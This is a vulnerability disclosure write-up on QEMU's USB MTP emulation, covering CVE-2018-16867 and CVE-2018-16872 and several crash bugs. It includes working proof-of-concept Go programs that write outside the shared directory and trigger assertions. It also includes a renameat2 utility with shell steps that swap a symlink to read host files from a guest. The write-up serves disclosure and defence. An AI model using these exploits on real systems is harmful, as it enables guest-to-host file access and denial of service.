Author: Michael Hanselmann. Updated: March 21, 2019.

QEMU is a virtual machine emulator. In late November 2018 I found several vulnerabilities in its Media Transfer Protocol emulation by reading the source code and, after producing proof-of-concept exploits, reported them to the project using responsible disclosure.

Patches:

Contents

Reproduction environment

QEMU master branch as of November 27, 2018, commit 59ed3fe8d3. The file in question, hw/usb/dev-mtp.c, was last modified in commit f7c36a754c (September 2018). Built and running on Debian 9 (Stretch) with gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1). Configure command:

./configure --target-list=x86_64-softmmu --disable-strip \
  --enable-system --disable-user --disable-linux-user \
  --disable-bsd-user --disable-guest-agent --enable-kvm \
  --enable-virtfs --enable-debug

I used a daily build of Grml, a Debian-based live CD, changed to automatically provide a serial console for simplicity. A 9p device is used to provide data into the guest machine. Command used to start QEMU:

./x86_64-softmmu/qemu-system-x86_64 \
  -smp 2 -m 600 -enable-kvm \
  -machine pc,accel=kvm \
  -vnc :0,to=99,id=default -serial mon:stdio \
  -netdev user,id=user.0 -device e1000,netdev=user.0 \
  -netdev user,id=user.1 -device e1000,netdev=user.1 \
  -cdrom $HOME/grml64-small_testing_latest.iso \
  -device piix3-usb-uhci \
  -device usb-mtp,rootdir=/tmp,readonly=false \
  -fsdev local,id=share,path=$HOME/share,security_model=none \
  -device virtio-9p-pci,fsdev=share,mount_tag=share

To mount the shared data within the guest:

mount -t 9p -o ro,trans=virtio share /mnt

Path traversal in usb_mtp_write_data function allows writing outside source directory (CVE-2018-16867)

The usb_mtp_write_data function is susceptible to a path traversal attack because it trusts a filename from the guest:

path = g_strdup_printf("%s/%s", parent->path, s->dataset.filename);

When the device is in read-write mode (readonly=false) an attacker can write arbitrary files and create directories in the context of the QEMU process. Depending on the circumstances code executation and privilege escalation on the host are possible.

With the command given earlier the MTP device exposes the /tmp directory on the host to the guest. The following Go program traverses outside and creates a directory and file in /var/tmp (will be owned by the QEMU user):

package main

import (
  "fmt"
  "log"
  "strconv"
  "strings"
  "time"
  "github.com/hanwen/go-mtpfs/mtp"
)

const qemuStorageID = 0x00010001

func main() {
  dev, err := mtp.SelectDevice("")
  if err != nil {
    log.Fatal(err)
  }
  defer dev.Close()

  dev.DataDebug = true
  dev.MTPDebug = true

  if err = dev.Configure(); err != nil {
    log.Fatal(err)
  }

  pathPrefix := "../../../../../../var/tmp/"
  now := strconv.FormatInt(time.Now().Unix(), 10)

  // Create directory
  obj := mtp.ObjectInfo{
    Filename:     pathPrefix + "pocdir" + now,
    ObjectFormat: mtp.OFC_Association,
    ParentObject: 0,
    StorageID:    qemuStorageID,
  }

  if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil {
    log.Fatal(err)
  }

  content := strings.NewReader(fmt.Sprintf("Hello World %s\n", now))

  // Create file
  obj = mtp.ObjectInfo{
    Filename:       pathPrefix + "pocfile" + now,
    ObjectFormat:   mtp.OFC_Undefined,
    ParentObject:   0,
    StorageID:      qemuStorageID,
    CompressedSize: uint32(content.Len()),
  }

  if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil {
    log.Fatal(err)
  }

  if err = dev.SendObject(content, int64(content.Len())); err != nil {
    log.Fatal(err)
  }
}

On the host system after executing the program in the guest:

$ ls -lhnd /var/tmp/pocdir1543452945; cat /var/tmp/pocfile1543452945
drw-r--r-- 2 1000 1000 4.0K Nov 29 00:55 /var/tmp/pocdir1543452945
Hello World 1543452945

Note also the mode of drw-r--r-- (0644) on the directory. That needs to include the executable bit.

While playing around with this proof-of-concept code I managed to trigger assertions from within the guest system. An otherwise unprivileged, yet malicious user with access to the MTP device within the guest can mount a denial of service attack. They seem to be triggered by miniscule protocol violations or by packets of certain lengths (tweak filename string).

One protocol violation triggering an assertion is to not send the object after already sending the object information. The following Go code triggers qemu/hw/usb/dev-mtp.c:1712: usb_mtp_write_metadata: Assertion `!s->write_pending' failed:

package main

import (
  "log"
  "github.com/hanwen/go-mtpfs/mtp"
)

const qemuStorageID = 0x00010001

func main() {
  dev, err := mtp.SelectDevice("")
  if err != nil {
    log.Fatal(err)
  }
  defer dev.Close()

  dev.DataDebug = true
  dev.MTPDebug = true

  if err = dev.Configure(); err != nil {
    log.Fatal(err)
  }

  for {
    obj := mtp.ObjectInfo{
      Filename:       "boom",
      ObjectFormat:   mtp.OFC_Undefined,
      ParentObject:   0,
      StorageID:      qemuStorageID,
      CompressedSize: 0,
    }

    if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil {
      log.Fatal(err)
    }
  }
}

Depending on the filename length in the object information usb_mtp_handle_data may also return an error (“packet too small” in the EP_DATA_OUT branch):

2018/11/29 00:16:56 MTP encoded &mtp.ObjectInfo{StorageID:0x10001, ObjectFormat:0x3000, ProtectionStatus:0x0, CompressedSize:0x17, ThumbFormat:0x0, ThumbCompressedSize:0x0, ThumbPixWidth:0x0, ThumbPixHeight:0x0, ImagePixWidth:0x0, ImagePixHeight:0x0, ImageBitDepth:0x0, ParentObject:0x0, AssociationType:0x0, AssociationDesc:0x0, SequenceNumber:0x0, Filename:"../../../../../../var/tmp/helloworld1234AbCdEfGhIj", CaptureDate:time.Time{wall:0x0, ext:0, loc:(*time.Location)(nil)}, ModificationDate:time.Time{wall:0xbef7e9de2aed5e18, ext:390483536, loc:(*time.Location)(0x7afba0)}, Keywords:""}
2018/11/29 00:16:56 MTP request SendObjectInfo [65537 0]
send: 0x14 bytes with ep 0x2:
0000: 1400 0000 0100 0c10 0300 0000 0100 0100  ................
0010: 0000 0000                                ....
send: 0xca bytes with ep 0x2:
0000: ca00 0000 0200 0c10 0300 0000 0100 0100  ................
0010: 0030 0000 1700 0000 0000 0000 0000 0000  .0..............
0020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0040: 332e 002e 002f 002e 002e 002f 002e 002e  3..../...../....
0050: 002f 002e 002e 002f 002e 002e 002f 002e  ./...../...../..
0060: 002e 002f 0076 0061 0072 002f 0074 006d  .../.v.a.r./.t.m
0070: 0070 002f 0068 0065 006c 006c 006f 0077  .p./.h.e.l.l.o.w
0080: 006f 0072 006c 0064 0031 0032 0033 0034  .o.r.l.d.1.2.3.4
0090: 0041 0062 0043 0064 0045 0066 0047 0068  .A.b.C.d.E.f.G.h
00a0: 0049 006a 0000 0000 1032 0030 0031 0038  .I.j.....2.0.1.8
00b0: 0031 0031 0032 0039 0054 0030 0030 0031  .1.1.2.9.T.0.0.1
00c0: 0036 0035 0036 0000 0000                 .6.5.6....
2018/11/29 00:17:10 fatal error LIBUSB_ERROR_PIPE; closing connection.

Sending CMD_SEND_OBJECT_INFO with a length not matching the actual object length also triggers an assertion, qemu/hw/usb/dev-mtp.c:1805: usb_mtp_get_data: Assertion `(s->dataset.size == 0xFFFFFFFF) || (s->dataset.size == d->length)' failed:

package main

import (
  "log"
  "strings"
  "github.com/hanwen/go-mtpfs/mtp"
)

const qemuStorageID = 0x00010001

func main() {
  dev, err := mtp.SelectDevice("")
  if err != nil {
    log.Fatal(err)
  }
  defer dev.Close()

  dev.DataDebug = true
  dev.MTPDebug = true

  if err = dev.Configure(); err != nil {
    log.Fatal(err)
  }

  content := strings.NewReader("content")

  obj := mtp.ObjectInfo{
    Filename:       "boom",
    ObjectFormat:   mtp.OFC_Undefined,
    ParentObject:   0,
    StorageID:      qemuStorageID,
    // Note size of zero
    CompressedSize: 0,
  }

  if _, _, _, err = dev.SendObjectInfo(qemuStorageID, 0, &obj); err != nil {
    log.Fatal(err)
  }

  if err = dev.SendObject(content, int64(content.Len())); err != nil {
    log.Fatal(err)
  }
}

Malicious path traversal by host filesystem manipulation (CVE-2018-16872)

The code opening files in usb_mtp_get_object and usb_mtp_get_partial_object and directories in usb_mtp_object_readdir doesn't consider that the underlying filesystem may have changed since the time lstat(2) was called in usb_mtp_object_alloc, a classical TOCTTOU problem. An attacker with write access to the host filesystem shared with a guest can use this property to navigate the host filesystem in the context of the QEMU process and read any file the QEMU process has access to. Access to the filesystem may be local or via a network share protocol such as CIFS.

The proof-of-concept uses the renameat2 system call to atomically exchange a directory and a symlink. In experimentation I was also successful in filling the inotify watcher (fs.inotify.max_user_watches defaults to 8192) such that it will fail to observe more directories and won't notice a non-atomic replacement. The latter is more fragile, hence the approach with renameat2.

First we build a utility to call renameat2 (will be used on the host filesystem):

cat > renameat2.c <<'EOF' && cc -o renameat2 renameat2.c
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>

#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1 << 1)
#endif

#ifndef SYS_renameat2
#if defined(__x86_64__)
#define SYS_renameat2 314 // from arch/x86/syscalls/syscall_64.tbl
#elif defined(__i386__)
#define SYS_renameat2 353 // from arch/x86/syscalls/syscall_32.tbl
#else
#error Architecture unsupported
#endif
#endif

int main(int argc, char** argv) {
  int ret;

  // Only glibc 2.28 and newer include a wrapper for renameat2
  if (syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE) != 0) {
    perror("renameat2");
    return EXIT_FAILURE;
  }

  return EXIT_SUCCESS;
}
EOF

Once again we have /tmp on the host shared with the guest. Prepare a directory and symlink on the host:

# Use a new name every time to avoid using cached information
pocdir="/tmp/escpoc$(date +%s)"
echo "$pocdir"

mkdir "$pocdir" "${pocdir}/hostfs"
ln -Ts / "${pocdir}/link"

Install jmtpfs in the guest:

# May throw errors due to running out of disk space if the guest doesn't have
# enough RAM. As long as jmtpfs was unpacked all is fine.
apt-get update && apt-get install -y jmtpfs

Mount emulated MTP device in guest and cause emulation to initialize data structures for some of the directories:

umount /mnt
jmtpfs /mnt

# It's important to not list the contents yet. Doing so would already
# initialize the children objects. May take a while.
ls -d /mnt/tmp/escpoc1543456132

Now exchange the symlink and the directory on the host filesystem:

./renameat2 /tmp/escpoc1543456132/hostfs /tmp/escpoc1543456132/link

The directory on the host should now look as follows:

$ ls -lnd /tmp/escpoc1543456132/{hostfs,link}
drwxr-xr-x 2 1000 1000 4096 Nov 29 01:38 /tmp/escpoc1543456132/link
lrwxrwxrwx 1 1000 1000    1 Nov 29 01:38 /tmp/escpoc1543456132/hostfs -> /

At this point the MTP object data structure for the hostfs directory will have its absolute path. The MTP emulation won't notice the underlying filesystem has been modified to contain a symlink. Thus any path will be resolved through that symlink:

# Not exactly fast, but works
ls -l /mnt/tmp/escpoc1543456132/hostfs/etc/ssl

# Notice how we get the machine ID from the host
cat /etc/machine-id /mnt/tmp/escpoc1543456132/hostfs/etc/machine-id

Example output listing data from the host filesystem:

# ls -l /mnt/tmp/escpoc1543456132/hostfs/etc/ssl
total 0
drwxr-xr-x 2 root root     0 Jul 29 22:39 certs
-rw-r--r-- 1 root root 10771 Mar 29  2018 openssl.cnf

# cat /etc/machine-id /mnt/tmp/escpoc1543456132/hostfs/etc/machine-id
d819020192144a6fb90955ad2fb4340a
4ce29df9940209495bff9493034935a9

Excerpt from strace(1) on the QEMU process:

[pid 12624] open("/tmp/escpoc1543456132/rootfs/etc/dpkg", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 20
[pid 12624] inotify_add_watch(19, "/tmp/escpoc1543456132/rootfs/etc/dpkg", IN_MODIFY|IN_CREATE|IN_DELETE|IN_ISDIR) = 89

Funnily enough it's even possible to trigger assertions with normal operations:

root@grml /mnt/tmp/escpoc1543456132/rootfs/etc # cd ../tmp
root@grml /mnt/tmp/escpoc1543456132/rootfs/tmp # touch a
touch: cannot touch 'a': Input/output error
1 root@grml /mnt/tmp/escpoc1543456132/rootfs/tmp # ls
[…]qemu/hw/usb/dev-mtp.c:1712: usb_mtp_write_metadata: Assertion `!s->write_pending' failed.

usb_mtp_inotify_cleanup function closes same file descriptor multiple times

This was determined to not be a security issue. I'm leaving it in the report nonetheless.

By combining operations in creative ways it's possible to get usb_mtp_inotify_cleanup called multiple times. After closing the inotify file descriptor it doesn't update its internal record and thus calls close(2) multiple times. Other code could've gotten the newly-closed file descriptor when opening a file or device. qemu_set_fd_handler is always called and may disable another, unrelated handler. From strace(1):

[pid  1212] close(19) = 0
[pid  1212] close(19) = -1 EBADF (Bad file descriptor)
[pid  1211] close(19) = 0
[pid  1211] close(19) = -1 EBADF (Bad file descriptor)

Other notes

Other problems I noticed with the MTP emulation code: